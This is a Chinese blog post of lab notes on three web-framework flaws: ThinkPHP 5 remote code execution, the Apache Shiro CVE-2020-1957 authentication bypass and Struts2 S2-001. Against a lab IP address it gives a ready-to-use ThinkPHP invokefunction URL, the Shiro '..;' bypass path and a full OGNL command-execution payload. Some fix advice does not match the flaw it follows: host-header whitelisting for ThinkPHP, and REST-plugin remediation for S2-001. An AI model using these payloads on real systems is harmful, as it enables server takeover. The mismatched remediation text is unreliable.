框架漏洞-RCE

一:ThinkPHP-5-rce

漏洞描述

其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞

漏洞范围

http://192.168.116.134:8080/index.php

漏洞原理

构造闭环创建payload

http://192.168.116.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

漏洞复现


修复建议

使用拦截器进行对request的host进行了验证

头攻击检测

是否在白名单内

  • @param host

  • @return
    Apache Shiro 认证绕过漏洞
    1:漏洞描述

二:Apache shiro存在认证绕过漏洞,漏洞编号:CVE-2020-1957

2:漏洞原理

Apache Shiro1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。

Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。

anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,比如:/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。

假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。

3:漏洞复现

访问url

使用burp suite抓包,并访问admin,状态码为:302

访问/xxxx路径,状态码为:404

两个路径组合后:状态码为:404

当路径为/xxx/..;/admin/时,状态为200

绕过成功

4:修复建议

1:更新版本

2:尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。
三:Apache Struts2 S2-001 远程代码执行漏洞
漏洞描述

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

漏洞范围

http://192.168.116.134:8080/login.action登表单录

漏洞原理

提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞复现


修复建议

影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本

修复方法:更新更新更新~~~升级Struts到2.5.13最新版本

临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型

在struts.xml配置文件中加入:

<constantname="struts.action.extension" value="xhtml,,json" />


__EOF__

本文作者Crushz
本文链接https://www.cnblogs.com/Crushz-2024/p/18392082.html
关于博主:Crushz
版权声明:转载请注明来源哟~ QAQ
声援博主:UP UP UP !!!
posted @   Crushz  阅读(44)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
点击右上角即可分享
微信分享提示